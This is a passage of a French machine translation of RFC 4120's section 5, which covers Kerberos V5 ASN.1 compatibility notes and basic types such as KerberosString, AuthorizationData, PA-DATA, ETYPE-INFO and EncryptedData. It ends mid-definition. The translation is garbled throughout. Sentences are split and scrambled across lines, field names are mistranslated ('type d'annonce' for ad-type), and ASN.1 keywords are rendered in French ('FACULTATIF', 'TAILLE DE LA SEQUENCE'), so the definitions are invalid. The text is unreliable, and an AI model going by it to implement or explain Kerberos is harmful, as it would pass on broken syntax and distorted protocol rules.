RFC 4120 Kerberos V5 juillet 2005

KerberosV5Spec2 {
iso (1) organisation-identifiée (3) dod (6) internet (1)
sécurité (5) kerberosV5 (2) modules (4) krb5spec2 (2)
} DEFINITIONS EXPLICITE TAGS :: = BEGIN

- reste des définitions ici

FIN

Ceci spécifie que le contexte de marquage pour le module sera

explicite et non automatique.

Notez que dans d’autres publications (telles que [RFC1510] et

[RFC1964]), la partie "dod" de l'identifiant d'objet est erronée
spécifié comme ayant la valeur "5". Dans le cas de la RFC 1964,
l’utilisation de
la valeur "correcte" de l'OID entraînerait un changement de fil
protocole; par conséquent, il reste inchangé pour l'instant.

Notez qu’ailleurs dans ce document, la nomenclature de divers

les types de message sont incohérents, mais il suit en grande partie le
langage C
conventions, y compris l'utilisation de caractères de soulignement (_)
et de majuscules
orthographe des noms destinés à être des constantes numériques. En
outre, dans certains
les identifiants (surtout ceux qui font référence à des constantes) sont
écrites en majuscules afin de les distinguer des autres
texte explicatif.
 La notation ASN.1 n’autorise pas les traits de soulignement dans les
identificateurs;
définitions ASN.1 réelles, les traits de soulignement sont remplacés par
des tirets (-).
De plus, les noms des membres de la structure et les valeurs définies en
ASN.1 DOIVENT
commence par une lettre minuscule, alors que les noms de types DOIVENT
commencer par un
lettre majuscule.

5.1. Notes de compatibilité spécifiques sur ASN.1

Pour des raisons de compatibilité, les développeurs doivent tenir compte

des remarques suivantes.
notes spécifiques concernant l’utilisation de ASN.1 dans Kerberos. Ces
notes
ne décrivent pas les écarts par rapport à l’utilisation standard de la
norme ASN.1. Le but
de ces notes est plutôt de décrire quelques bizarreries historiques et
non-conformité de diverses implémentations, ainsi que des historiques
ambiguïtés qui, bien qu’elles soient valables en ASN.1, peuvent conduire
à
confusion lors de la mise en œuvre.

5.1.1. Règles de codage distinctives ASN.1

Le codage des messages de protocole Kerberos doit obéir à la

Règles de codage distinguées (DER) de la notation ASN.1 décrites dans
[X690].
Certaines implémentations (considérées principalement comme dérivées de
DCE
1.1 et antérieures) sont connus pour utiliser le codage de base plus
général

Neuman et al. Normes Track [Page 51]

RFC 4120 Kerberos V5 juillet 2005

Règles (BER); en particulier, ces implémentations envoient des messages

indéfinis.
encodages de longueurs. Les mises en œuvre PEUVENT accepter de tels
codages dans
l’intérêt de la compatibilité ascendante, bien que les implémenteurs
soient
averti que le décodage complet du BER est périlleux.

5.1.2. Champs entiers facultatifs

Certaines implémentations ne font pas de distinction interne entre un

omis
valeur entière optionnelle et une valeur transmise de zéro. Les places
dans le protocole, le cas échéant, incluent diverses microsecondes
champs, nonces et numéros de séquence. Les mises en œuvre DEVRAIENT
traiter
omis les valeurs entières optionnelles comme ayant été transmises avec
un
valeur de zéro, si l'application s'attend à cela.
5.1.3. SEQUENCE DES TYPES vides

Il y a des endroits dans le protocole où un message contient une

SEQUENCE
OF type en tant que membre facultatif. Cela peut entraîner un codage qui
contient un SEQUENCE OF encoding vide. Le protocole Kerberos ne
pas sémantiquement distinguer entre une SEQUENCE optionnelle absente
type et un type SEQUENCE OF présent, facultatif mais vide.
Les implémentations NE DEVRAIENT PAS envoyer de SEQUENCE vide de codages
qui sont
marqué FACULTATIF, mais DEVRAIT les accepter comme équivalant à un
type OPTIONAL omis. Dans la syntaxe ASN.1 décrivant Kerberos
messages, instances de ces types optionnels problématiques SEQUENCE OF
sont indiqués avec un commentaire.

5.1.4. Numéros d'étiquette non reconnus

Les futures révisions de ce protocole peuvent inclure de nouveaux types

de message avec
différents numéros de balises de classe APPLICATION. Ces révisions
devraient
protéger les anciennes implémentations en envoyant uniquement les types
de message à
les parties qui sont connues pour les comprendre; par exemple, au moyen
d'un drapeau
bit défini par le destinataire dans une requête précédente. Dans
l'intérêt de
traitement d'erreur robuste, les implémentations DEVRAIENT gérer avec
élégance
de toute façon recevoir un message avec une étiquette non reconnue et
renvoyer un
message d'erreur, le cas échéant.

En particulier, les KDC DEVRAIENT renvoyer KRB_AP_ERR_MSG_TYPE si le

Une balise incorrecte est envoyée via un transport TCP. Les KDC NE
DEVRAIENT PAS
répondre aux messages reçus avec une étiquette inconnue via le transport
UDP
afin d'éviter les attaques par déni de service. Pour les non-KDC
applications, l’implémentation Kerberos indique généralement une
erreur à l’application qui prend les mesures appropriées en fonction de
la
protocole d'application.

Neuman et al. Piste de normes [Page 52]

RFC 4120 Kerberos V5 juillet 2005

5.1.5. Numéros d'étiquette supérieurs à 30

Une implémentation naïve d'un décodeur DER ASN.1 peut rencontrer des
problèmes
avec des numéros d’étiquette ASN.1 supérieurs à 30, du fait que ces
numéros sont
codé en utilisant plus d'un octet. Révisions futures de ce protocole
 peut utiliser des numéros d’étiquette supérieurs à 30, et les
implémentations DEVRAIENT
être prêt à renvoyer gracieusement une erreur, le cas échéant, quand
ne pas reconnaître la balise.

5.2. Types Kerberos de base

Cette section définit un certain nombre de types de base potentiellement

utilisé dans plusieurs messages de protocole Kerberos.

5.2.1. KerberosString

La spécification originale du protocole Kerberos dans la RFC 1510

utilise
GeneralString à de nombreux endroits pour des données de chaîne lisibles
par l'homme.
Les mises en œuvre historiques de Kerberos ne peuvent pas utiliser toute
la puissance
de GeneralString. Ce type ASN.1 nécessite l’utilisation de la
désignation
et séquences d'échappement d'invocation spécifiées dans l'ISO-2022 /
ECMA-35
[ISO-2022 / ECMA-35] pour changer de jeu de caractères, et la valeur par
défaut
Le jeu de caractères désigné par G0 est ISO-646 / ECMA-6.
[ISO-646 / ECMA-6] Version de référence internationale (IRV) (US)
ASCII), qui fonctionne principalement.

ISO-2022 / ECMA-35 définit quatre éléments de code de jeu de caractères

(G0..G3).
et deux éléments de code de fonction de contrôle (C0..C1). DER interdit
le
désignation des jeux de caractères comme n’importe lequel, sauf les jeux
G0 et C0.
Malheureusement, cela semble avoir pour effet secondaire d'interdire la
utilisation de jeux de caractères ISO-8859 (ISO Latin) [ISO-8859] ou de
tout autre
jeux de caractères qui utilisent un jeu de 96 caractères, comme ISO-2022
/ ECMA-35
interdit de les désigner comme élément de code G0. Cet effet secondaire
fait actuellement l’objet d’une enquête dans la communauté de
normalisation ASN.1.

En pratique, de nombreuses implémentations traitent GeneralStrings comme

si elles
étaient des chaînes de 8 bits de n'importe quel caractère définir la
mise en œuvre
par défaut à, sans égard à l'utilisation correcte du jeu de caractères
désignation séquences d'échappement. Le jeu de caractères par défaut est
souvent
déterminé par les paramètres régionaux dépendants du système
d'exploitation de l'utilisateur actuel.
Au moins une implémentation majeure place un encodage UTF-8 non échappé
Caractères Unicode dans le GeneralString. Cet échec à adhérer à
les spécifications de GeneralString entraînent des problèmes
d'interopérabilité
lorsque des codages de caractères en conflit sont utilisés par Kerberos
clients, services et KDC.
Neuman et al. La voie des normes [Page 53]

RFC 4120 Kerberos V5 juillet 2005

Cette situation regrettable est le résultat d’une documentation

inadéquate de
les restrictions du type ASN.1 GeneralString dans les versions
antérieures de Kerberos
Caractéristiques.

Le nouveau type (post-RFC 1510) KerberosString, défini ci-dessous, est

un
GeneralString contraint de ne contenir que des caractères dans
IA5Chaîne.

KerberosString :: = GeneralString (IA5String)

En général, les caractères de contrôle US-ASCII ne doivent pas être

utilisés
KerberosString. Les caractères de contrôle NE DEVRAIENT PAS être
utilisés en principe
noms ou noms de domaine.

Pour des raisons de compatibilité, les implémentations PEUVENT choisir

d’accepter GeneralString.
valeurs qui contiennent des caractères autres que ceux autorisés par
IA5String, mais ils doivent savoir que la désignation du jeu de
caractères
les codes seront probablement absents et que le codage devrait
probablement être
traité comme spécifique à la localisation dans presque tous les sens.
Les mises en œuvre peuvent
choisissez également d'émettre des valeurs GeneralString qui vont au-
delà de celles
permis par IA5String, mais ils doivent être conscients que cela est
extrêmement risqué du point de vue de l'interopérabilité.

Certaines implémentations existantes utilisent GeneralString pour

encoder sans échapper
caractères spécifiques aux paramètres régionaux. Ceci est une violation
de l'ASN.1
la norme. La plupart de ces implémentations codent US-ASCII dans le
moitié gauche, aussi longtemps que l'implémentation ne transmet que
US-ASCII, la norme ASN.1 n’est pas violée à cet égard. Dès que
en tant que telle, une implémentation code pour des paramètres régionaux
non échappés
avec le bit fort défini, il enfreint la norme ASN.1.

On sait que d’autres implémentations utilisent GeneralString pour

contenir
un encodage UTF-8. Cela constitue également une violation de la norme
ASN.1, car UTF-8
est un codage différent, pas un "G" de 94 ou 96 caractères défini comme
défini
ISO 2022. On pense que ces implémentations ne vont même pas jusqu'à
utilisez la séquence d'échappement ISO 2022 pour modifier le codage des
caractères.
 Même si les implémentations devaient annoncer le changement de codage en
utilisant
cette séquence d'échappement, la norme ASN.1 interdit l'utilisation de
tout
séquences d'échappement autres que celles utilisées pour désigner /
invoquer "G" ou "C"
ensembles autorisés par GeneralString.

Les révisions futures de ce protocole permettront presque certainement

une
représentation plus interopérable des noms principaux, probablement
y compris UTF8String.

Notez que l’application d’une nouvelle contrainte à un objet

précédemment non contraint
type constitue la création d'un nouveau type ASN.1. Dans ce cas
particulier
Dans ce cas, le changement n’entraîne pas de modification du codage sous
DER.

Neuman et al. Norme Track [Page 54]

RFC 4120 Kerberos V5 juillet 2005

5.2.2. Domaine et Nom principal

Royaume :: = KerberosString

PrincipalName :: = SEQUENCE {
nom-type [0] Int32,
name-string [1] SEQUENCE OF KerberosString
}

Les noms de domaine Kerberos sont codés en tant que KerberosStrings. Les
royaumes doivent
ne contient pas de caractère portant le code 0 (US-ASCII NUL). Plus
les royaumes seront généralement constitués de plusieurs composants
séparés par
périodes (.), à la manière des noms de domaine Internet, ou séparées par
barres obliques (/), dans le style des noms X.500. Formes acceptables
pour le royaume
les noms sont spécifiés dans la section 6.1. Un PrincipalName est un
typé
séquence de composants comprenant les sous-champs suivants:

nom-type
Ce champ spécifie le type de nom qui suit. Prédéfini
les valeurs de ce champ sont spécifiées à la section 6.2. Le nom-type
DEVRAIT être traité comme un indice. Ignorant le type de nom, pas
deux noms
peut être identique (c’est-à-dire qu’au moins l’un des composants, ou
le
royaume, doit être différent).

nom-chaîne
Ce champ code une séquence de composants qui forment un nom, chaque
composant codé en tant que KerberosString. Pris ensemble, un
PrincipalName et un domaine forment un identifiant principal. Plus
 PrincipalNames aura seulement quelques composants (généralement un ou
deux).

5.2.3. KerberosTime

KerberosTime :: = GeneralizedTime - sans fraction de seconde

Les horodatages utilisés dans Kerberos sont codés en tant que

GeneralizedTimes. UNE
La valeur KerberosTime ne doit inclure aucune partie fractionnaire du
secondes. Comme l'exige le DER, il ne doit en outre inclure aucun
séparateurs, et il doit spécifier le fuseau horaire UTC (Z). Exemple: le
Format valide uniquement pour l’heure UTC 6 minutes, 27 secondes après
21 heures le 6
Novembre 1985 est 19851106210627Z.

5.2.4. Types de nombre entier contraint

Certains membres entiers de types DEVRAIENT être limités à des valeurs

représentable en 32 bits, pour compatibilité avec raisonnable
limites de mise en œuvre.

Neuman et al. Standards Track [Page 55]

RFC 4120 Kerberos V5 juillet 2005

Int32 :: = INTEGER (-2147483648..2147483647)

- valeurs signées représentables en 32 bits

UInt32 :: = INTEGER (0..4294967295)

- valeurs 32 bits non signées

Microsecondes :: = INTEGER (0..999999)

- microsecondes

Bien que cela entraîne des modifications des types abstraits de la RFC
Version 1510, le codage dans DER devrait être inchangé. Historique
les implémentations étaient généralement limitées à des valeurs entières
de 32 bits
de toute façon, et les numéros attribués DEVRAIENT tomber dans l’espace
de nombre entier
valeurs représentables en 32 bits afin de promouvoir l'interopérabilité
en tous cas.

Plusieurs champs entiers dans les messages sont limités à des valeurs
fixes.

pvno
également TKT-VNO ou AUTHENTICATOR-VNO, ce champ récurrent est
toujours
le nombre entier constant 5. Il n'y a pas de moyen facile de créer ce
champ
dans un numéro de version de protocole utile, sa valeur est donc
fixée.

type msg
ce champ entier est généralement identique à la balise d'application
 numéro du type de message contenant.

5.2.5. HostAddress et HostAddresses

HostAddress :: = SEQUENCE {
type addr [0] Int32,
adresse [1] OCTET STRING
}

- NOTE: HostAddresses est toujours utilisé comme champ OPTIONAL et

- ne devrait pas être vide.
HostAddresses - NOTE: légèrement différent de rfc1510,
- mais a un mappage de valeur et code le même
:: = SEQUENCE OF HostAddress

Les codages d'adresse d'hôte consistent en deux champs:

type addr
Ce champ spécifie le type d'adresse qui suit. Pré-
les valeurs définies pour ce champ sont spécifiées à la section
7.5.3.

adresse
Ce champ code une adresse unique de type addr-type.

Neuman et al. Piste de normes [Page 56]

RFC 4120 Kerberos V5 juillet 2005

5.2.6. AuthorizationData

- REMARQUE: AuthorizationData est toujours utilisé comme champ

OPTIONAL et
- ne devrait pas être vide.
AuthorizationData :: = SEQUENCE OF SEQUENCE {
type d'annonce [0] Int32,
ad-data [1] OCTET STRING
}

ad-data
Ce champ contient les données d'autorisation à interpréter selon
à la valeur du champ de type d'annonce correspondant.

type d'annonce
Ce champ spécifie le format du sous-champ ad-data. Tout
les valeurs négatives sont réservées à un usage local. Valeurs non
négatives
sont réservés à un usage enregistré.

Chaque séquence de type et de données est appelée autorisation.

élément. Les éléments PEUVENT être spécifiques à l’application;
cependant, il y a un
ensemble commun d'éléments récursifs qui doivent être compris de tous
mises en œuvre. Ces éléments contiennent d'autres éléments intégrés
en leur sein, et l'interprétation de l'élément encapsulant
détermine lequel des éléments incorporés doit être interprété, et
qui peut être ignoré.
 Ces données d’autorisation communes sont définies de manière récursive,
ce qui signifie que les données publicitaires pour ces types
contiendront elles-mêmes un
séquence de données d'autorisation dont l'interprétation est influencée
par
l'élément d'encapsulation. En fonction de la signification de la
élément encapsulant, les éléments encapsulés peuvent être ignorés,
pourrait être interprété comme délivré directement par le KDC, ou
pourrait être
stockés dans une partie distincte du texte en clair. Les types de
Les éléments d'encapsulation sont spécifiés dans le cadre de Kerberos
spécification parce que le comportement basé sur ces valeurs devrait
être
compris dans toutes les implémentations, alors que d’autres éléments
être compris par les applications qu’ils affectent.

Les éléments de données d'autorisation sont considérés comme critiques

s'ils sont présents dans un fichier.
billet ou authentificateur. Si un élément de données d'autorisation
inconnu
le type est reçu par un serveur soit dans un AP-REQ, soit dans un ticket
contenue dans un AP-REQ, à moins qu’elle ne soit encapsulée dans un
élément de données d'autorisation modifiant la criticité des éléments
elle contient, l’authentification DOIT échouer. Les données
d'autorisation sont
destiné à restreindre l'utilisation d'un billet. Si le service ne peut
pas
déterminer si la restriction s’applique à ce service, puis un

Neuman et al. Standards Track [Page 57]

RFC 4120 Kerberos V5 juillet 2005

Une faille de sécurité peut survenir si le ticket peut être utilisé à

cette fin.
un service. Les éléments d’autorisation facultatifs peuvent être inclus
dans
un élément AD-IF-RELEVANT.

Dans les définitions qui suivent, la valeur du type d’annonce pour le

l'élément sera spécifié comme la partie la moins significative de la
numéro de sous-section et la valeur des données publicitaires sera celle
indiquée dans
la structure ASN.1 qui suit l'en-tête de sous-section.

Contenu du type d'annonce ad-data

Codage DER de AD-IF-RELEVANT 1

Encodage DER de AD-KDCIssued 4

Codage DER de AD-AND-OR 5

Encodage DER de AD-MANDATORY-FOR-KDC 8

5.2.6.1. LE CAS ÉCHÉANT

 AD-IF-RELEVANT :: = AuthorizationData

Les éléments AD encapsulés dans l'élément if-pertinent sont destinés

pour l'interprétation que par les serveurs d'applications qui
comprennent la
type d'annonce particulier de l'élément incorporé. Serveurs
d'applications qui
ne comprend pas le type d'un élément intégré dans le
L'élément if-pertinent PEUT ignorer l'élément non interprétable. Ce
Cet élément favorise l’interopérabilité entre les implémentations
pouvant
avoir des extensions locales pour l'autorisation. Le type d'annonce pour
AD-IF-PERTINENT est (1).

5.2.6.2. KDCIssued

AD-KDCIssued :: = SEQUENCE {
somme de contrôle ad [0] somme de contrôle,
i-realm [1] Royaume facultatif,
i-sname [2] PrincipalName FACULTATIF,
éléments [3] AuthorizationData
}

somme de contrôle
Une somme de contrôle cryptographique calculée sur le codage DER du
AuthorizationData dans le champ "éléments", associé à la session
clé. Son type de somme de contrôle est le type de somme de contrôle
obligatoire pour
type de cryptage de la clé de session et sa valeur d’utilisation est
19.

Neuman et al. Piste de normes [Page 58]

RFC 4120 Kerberos V5 juillet 2005

i-realm, i-sname
Le nom du commettant émetteur, s'il est différent de celui du
commettant
KDC lui-même. Ce champ sera utilisé lorsque le KDC pourra vérifier la
l’authenticité des éléments signés par le donneur d’ordre, et il
permet à ce KDC d'informer le serveur d'applications de la validité
de ces éléments.

éléments
Une séquence d'éléments de données d'autorisation délivrés par le
KDC.

Le champ Ad-data émis par KDC est destiné à fournir un moyen de

Informations d'identification principales de Kerberos à intégrer dans
leur privilège
attributs et autres mécanismes d'autorisation positive,
amplifier les privilèges du commettant au-delà de ce qui peut être fait
utiliser des informations d'identification sans un tel élément a-data.

Les moyens ci-dessus ne peuvent être fournis sans cet élément car le
 la définition du champ de données d'autorisation permet aux éléments
d'être
ajouté à volonté par le porteur d'un TGT au moment où il demande
tickets de service, et des éléments peuvent également être ajoutés à un
ticket délégué
par inclusion dans l'authentificateur.

Pour les éléments émis par KDC, cela est empêché car les éléments sont
signé par le KDC en incluant une somme de contrôle chiffrée à l'aide du
clé du serveur (la même clé utilisée pour chiffrer le ticket ou une clé
dérivé de cette clé). Éléments encapsulés dans le KDC
l'élément DOIT être ignoré par le serveur d'application si cette
"signature"
n'est pas présent. En outre, les éléments encapsulés dans cet élément
d'un TGT PEUT être interprété par le KDC et utilisé comme base
conformément à la politique d'inclusion de nouveaux éléments signés dans
billets dérivés, mais ils ne seront pas copiés dans un dérivé
billet directement. Si elles sont copiées directement sur un ticket
dérivé
par un KDC qui n'est pas au courant de cet élément, la signature ne sera
pas
correct pour les éléments de ticket d'application, et le champ sera
ignoré par le serveur d'applications.

Cet élément et les éléments qu’il encapsule PEUVENT être ignorés en

toute sécurité
par les applications, les serveurs d'applications et les KDC qui ne
mettent pas en œuvre
cet élément.

Le type d'annonce pour AD-KDC-ISSUED est (4).

5.2.6.3. ET-OU

AD-AND-OR :: = SEQUENCE {
nombre de conditions [0] Int32,
éléments [1] AuthorizationData
}

Neuman et al. Piste de normes [Page 59]

RFC 4120 Kerberos V5 juillet 2005

Lorsque des éléments AD restrictifs sont encapsulés dans les et / ou

élément, l'élément et-ou est considéré comme satisfait si et seulement
si
moins le nombre d'éléments encapsulés spécifiés dans
les comtes sont satisfaits. Par conséquent, cet élément PEUT être
utilisé pour
mettre en œuvre une opération "ou" en définissant le champ de compte de
conditions sur
1, et il PEUT spécifier une opération "et" en définissant la condition
compter au nombre d'éléments incorporés. Serveurs d'applications qui
ne pas implémenter cet élément DOIT rejeter les tickets contenant
éléments de données d'autorisation de ce type.

Le type d'annonce pour AD-AND-OR est (5).

5.2.6.4. OBLIGATOIRE POUR KDC

AD-MANDATORY-FOR-KDC :: = AuthorizationData

Les éléments AD encapsulés dans l'élément obligatoire-for-kdc doivent:

être interprété par le KDC. Les KDC qui ne comprennent pas le type de
un élément incorporé dans l'élément obligatoire-pour-kdc DOIT rejeter
la demande.

Le type d'annonce pour AD-MANDATORY-FOR-KDC est (8).

5.2.7. PA-DATA

Historiquement, PA-DATA était connu sous le nom de "données de pré-

authentification",
ce qui signifie qu'ils ont été utilisés pour augmenter
l'authentification initiale
avec le KDC. Depuis ce temps, ils ont également été utilisés comme un
type
trou avec lequel étendre les échanges de protocole avec le KDC.

PA-DATA :: = SEQUENCE {
- NOTE: la première balise est [1], pas [0]
padata-type [1] Int32,
padata-value [2] OCTET STRING - peut être codé AP-REQ
}

type padata
Indique la manière dont l'élément padata-value doit être
interprété. Les valeurs négatives de type padata sont réservées à
utilisation non enregistrée; des valeurs non négatives sont utilisées
pour un enregistrement
interprétation du type d'élément.

padata-value
Contient généralement le codage DER d'un autre type; le type padata
Le champ identifie quel type est encodé ici.

Neuman et al. Piste de normes [Page 60]

RFC 4120 Kerberos V5 juillet 2005

padata-type Nom Contenu de la valeur padata

1 codage DER pa-tgs-req de AP-REQ

2 codage DER pa-enc-timestamp de PA-ENC-TIMESTAMP

Sel de 3 pa-pw-sel (non codé en ASN.1)

11 codage DER pa-etype-info d'ETYPE-INFO

19 pa-etype-info2 encodage DER d’ETYPE-INFO2

 Ce champ PEUT également contenir des informations requises par
certains
extensions du protocole Kerberos. Par exemple, il pourrait être
utilisé pour vérifier l'identité d'un client initialement avant toute
la réponse est renvoyée.

Le champ padata peut également contenir des informations nécessaires

pour aider le
KDC ou le client sélectionne la clé nécessaire pour générer ou
déchiffrer la réponse. Cette forme de padata est utile pour
prise en charge de l'utilisation de certaines cartes à jeton avec
Kerberos. le
les détails de ces extensions sont spécifiés dans des documents
séparés.
Voir [Pat92] pour d'autres utilisations de ce champ.

5.2.7.1. PA-TGS-REQ

Dans le cas de demandes de tickets supplémentaires (KRB_TGS_REQ),

padata-value contiendra un AP-REQ codé. La somme de contrôle dans le
l’authentificateur (qui DOIT être à l’abri des collisions) doit être
calculé sur
le codage KDC-REQ-BODY.

5.2.7.2. Pré-authentification d'horodatage crypté

Certains types de pré-authentification peuvent être utilisés pour pré-

enregistrer
authentifier un client au moyen d'un horodatage crypté.

PA-ENC-TIMESTAMP :: = EncryptedData - PA-ENC-TS-ENC

PA-ENC-TS-ENC :: = SEQUENCE {
patimestamp [0] KerberosTime - heure du client -,
pausec [1] Microsecondes FACULTATIF
}

Patimestamp contient le temps du client, et pausec contient le

microsecondes, qui PEUVENT être omis si un client ne générera plus
d'une demande par seconde. Le texte chiffré (padata-value) consiste
du codage PA-ENC-TS-ENC, chiffré à l'aide du secret du client
clé et une valeur d’utilisation de clé de 1.

Neuman et al. Standards Track [Page 61]

RFC 4120 Kerberos V5 juillet 2005

Ce type de pré-authentification n’était pas présent dans la RFC 1510,

mais de nombreux
les implémentations le supportent.

5.2.7.3. PA-PW-SALT

La valeur padata pour ce type de pré-authentification contient le sel

pour que la chaîne à clé soit utilisée par le client pour obtenir la clé
déchiffrer la partie chiffrée d'un message AS-REP. Malheureusement,
pour des raisons historiques, le jeu de caractères à utiliser est
indéterminé
 et probablement spécifique à la localisation.

Ce type de pré-authentification n’était pas présent dans la RFC 1510,

mais de nombreux
les implémentations le supportent. Il est nécessaire dans tous les cas
où le
sel pour l'algorithme string-to-key n'est pas celui par défaut.

Dans l'exemple trivial, une chaîne de sel de longueur nulle est très
courante
pour les royaumes qui ont converti leurs bases de données principales de
Kerberos version 4.

Un KDC NE DEVRAIT PAS envoyer de PA-PW-SALT lors de l'émission d'un

message KRB-ERROR
qui demande une pré-authentification supplémentaire. Note
d'implémentation:
Certaines implémentations du KDC émettent un PA-PW-SALT erroné
lorsqu’elles émettent un
Message KRB-ERROR qui demande une pré-authentification supplémentaire.
Par conséquent, les clients DEVRAIENT ignorer un PA-PW-SALT accompagnant
un
Message KRB-ERROR qui demande une pré-authentification supplémentaire.
Comme
indiqué à la section 3.1.3, un KDC NE DOIT PAS envoyer de PA-PW-SALT
lorsque le
AS-REQ du client inclut au moins un type "plus récent".

5.2.7.4. PA-ETYPE-INFO

Le type de pré-authentification ETYPE-INFO est envoyé par le KDC dans

une
KRB-ERROR indiquant la nécessité d'une pré-authentification
supplémentaire.
Il est généralement utilisé pour informer un client de la clé à utiliser
pour la
chiffrement d'un horodatage chiffré aux fins d'envoi d'un message
Valeur de pré-authentification PA-ENC-TIMESTAMP. Il PEUT aussi être
envoyé dans un
AS-REP pour fournir au client des informations sur le sel clé à
utiliser.
utiliser pour que la chaîne à clé soit utilisée par le client pour
obtenir la clé
pour déchiffrer la partie chiffrée de l'AS-REP.

ETYPE-INFO-ENTRY :: = SEQUENCE {
etype [0] Int32,
sel [1] OCTET STRING EN OPTION
}

ETYPE-INFO :: = SEQUENCE DE L'ETYPE-INFO-ENTRY

Le sel, comme celui de PA-PW-SALT, est également complètement non

spécifié
en ce qui concerne le jeu de caractères et est probablement spécifique à
l'environnement local.

Neuman et al. Piste de normes [Page 62]

RFC 4120 Kerberos V5 juillet 2005

Si ETYPE-INFO est envoyé dans un AS-REP, il doit y avoir exactement un

ETYPE-INFO-ENTRY et son type doivent correspondre à ceux de la partie
enc dans
l'AS-REP.

Ce type de pré-authentification n’était pas présent dans la RFC 1510,

mais de nombreux
implémentations prenant en charge les horodatages chiffrés pour
l'authentification doit également prendre en charge ETYPE-INFO. Comme
indiqué dans
Section 3.1.3, un KDC NE DOIT PAS envoyer de PA-ETYPE-INFO lorsque le
client
AS-REQ inclut au moins un type "plus récent".

5.2.7.5. PA-ETYPE-INFO2

Le type de pré-authentification ETYPE-INFO2 est envoyé par le KDC dans

une
KRB-ERROR indiquant la nécessité d'une pré-authentification
supplémentaire.
Il est généralement utilisé pour informer un client de la clé à utiliser
pour la
chiffrement d'un horodatage chiffré aux fins d'envoi d'un message
Valeur de pré-authentification PA-ENC-TIMESTAMP. Il PEUT aussi être
envoyé dans un
AS-REP pour fournir au client des informations sur le sel clé à
utiliser.
utiliser pour que la chaîne à clé soit utilisée par le client pour
obtenir la clé
pour déchiffrer la partie chiffrée de l'AS-REP.

ETYPE-INFO2-ENTRY :: = SEQUENCE {
etype [0] Int32,
sel [1] KerberosString FACULTATIF,
s2kparams [2] OCTET STRING FACULTATIF
}

ETYPE-INFO2 :: = TAILLE DE LA SEQUENCE (1..MAX) DE ETYPE-INFO2-ENTRY

Le type de sel est KerberosString, mais les installations existantes

pourrait avoir des caractères spécifiques aux paramètres régionaux
stockés dans des chaînes de sel, et
les développeurs peuvent choisir de les gérer.

L'interprétation de s2kparams est spécifiée dans le cryptosystème

description associée à l'etype. Chaque cryptosystème a un
interprétation par défaut de s2kparams qui tiendra si cet élément est
omis du codage de ETYPE-INFO2-ENTRY.

Si ETYPE-INFO2 est envoyé dans un AS-REP, il doit y avoir exactement un

ETYPE-INFO2-ENTRY, et son type doit correspondre à celui de la partie
enc dans
l'AS-REP.

Le classement préféré des données de "conseil" de pré-authentification

qui
La sélection de la clé client affectée est la suivante: ETYPE-INFO2,
suivi de ETYPE-INFO,
 suivi de PW-SALT. Comme indiqué à la section 3.1.3, un KDC NE DOIT PAS
envoyer
ETYPE-INFO ou PW-SALT lorsque l'AS-REQ du client comprend au moins un
"plus récent" etype.

Neuman et al. Piste de normes [Page 63]

RFC 4120 Kerberos V5 juillet 2005

Le type de pré-authentification ETYPE-INFO2 n'était pas présent dans la

RFC 1510.

5.2.8. KerberosFlags

Pour plusieurs types de message, un type spécifique de chaîne de bits

contrainte,
KerberosFlags, est utilisé.

KerberosFlags :: = BIT STRING (SIZE (32..MAX))

- le nombre minimal de bits doit être envoyé,
- mais pas moins de 32

Note de compatibilité: Les paragraphes suivants décrivent un changement

de
la description RFC 1510 des chaînes de bits qui aboutirait à
incompatibilité dans le cas d’une mise en œuvre strictement
conforme aux normes ASN.1 DER et RFC 1510.

Les chaînes de bits ASN.1 ont plusieurs utilisations. L'utilisation la

plus simple d'un peu
chaîne doit contenir un vecteur de bits, sans signification particulière
attaché à des bits individuels. Ce vecteur de bits n'est pas
nécessairement
un multiple de huit bits de long. L'utilisation dans Kerberos d'une
chaîne de bits
en tant que vecteur booléen compact dans lequel chaque élément a un
le sens pose quelques problèmes. La notation naturelle pour un compact
Le vecteur booléen est la notation "NamedBit" ASN.1, et le DER nécessite
que les encodages d'une chaîne de bits utilisant la notation "NamedBit"
excluent toute
zéro bits de fuite. Cette troncature est facile à négliger, surtout
étant donné les implémentations en langage C qui choisissent
naturellement de stocker
vecteurs booléens sous forme d'entiers 32 bits.

Par exemple, si la notation pour KDCOptions devait inclure le

La notation "NamedBit", comme dans RFC 1510, et une valeur KDCOptions à
codé n’avait que le bit "forwardable" (bit numéro un), le DER
le codage NE DOIT comprendre que deux bits: le premier bit réservé
("réservé", numéro de bit zéro, valeur zéro) et le bit à valeur unique
(bit
numéro un) pour "transférable".

La plupart des implémentations existantes de Kerberos envoient sans

condition 32
bits sur le fil lors du codage de chaînes de bits utilisées comme
vecteurs booléens.
 Ce comportement enfreint la syntaxe ASN.1 utilisée pour les valeurs
d'indicateur dans RFC
1510, mais il se produit sur une base si largement installée que le
protocole
la description est modifiée pour l'adapter.

Par conséquent, ce document supprime les notations "NamedBit" pour

bits individuels, les reléguant aux commentaires. La contrainte de
taille sur
le type KerberosFlags nécessite qu’au moins 32 bits soient codés à
toujours une mise en œuvre indulgente PEUT choisir d’accepter moins de
de 32 bits et traiter les bits manquants comme étant mis à zéro.

Neuman et al. Normes Track [Page 64]

RFC 4120 Kerberos V5 juillet 2005

Actuellement, aucune utilisation de KerberosFlags ne spécifie plus que

32 bits
de drapeaux, bien que des révisions futures de ce document puissent le
faire. Quand
plus de 32 bits doivent être transmis dans une valeur KerberosFlags,
les révisions futures de ce document spécifieront probablement que le
le plus petit nombre de bits nécessaires pour coder le numéro le plus
élevé
bit valorisé doit être envoyé. Ceci est un peu similaire au DER
codage d'une chaîne de bits déclarée avec le "NamedBit"
notation.

5.2.9. Types liés au cryptosystème

De nombreux messages de protocole Kerberos contiennent EncryptedData en

tant que
conteneur pour les données cryptées arbitraires, qui est souvent le
crypté
codage d'un autre type de données. Champs dans EncryptedData assist
le destinataire en sélectionnant une clé avec laquelle décrypter le
joint
Les données.

EncryptedData :: = SEQUENCE {
etype [0] Int32 - EncryptionType -,
kvno [1] UInt32 FACULTATIF,
cipher [2] OCTET STRING - texte chiffré
}

etype
Ce champ identifie quel algorithme de cryptage a été utilisé pour
chiffrer le chiffre.

kvno
Ce champ contient le numéro de version de la clé sous laquelle les
données
est crypté. Il n’est présent que dans les messages cryptés sous
longue
clés durables, telles que les clés secrètes des mandants.
 chiffrer
Ce champ contient le texte chiffré, codé sous la forme d'un OCTET
CHAÎNE. (Notez que les mécanismes de cryptage définis dans la
[RFC3961]
DOIT également intégrer la protection de l’intégrité, donc aucune
autre
somme de contrôle est nécessaire.)

Le type EncryptionKey est le moyen par lequel les clés cryptographiques

utilisées
pour le cryptage sont transférés.

EncryptionKey :: = SEQUENCE {
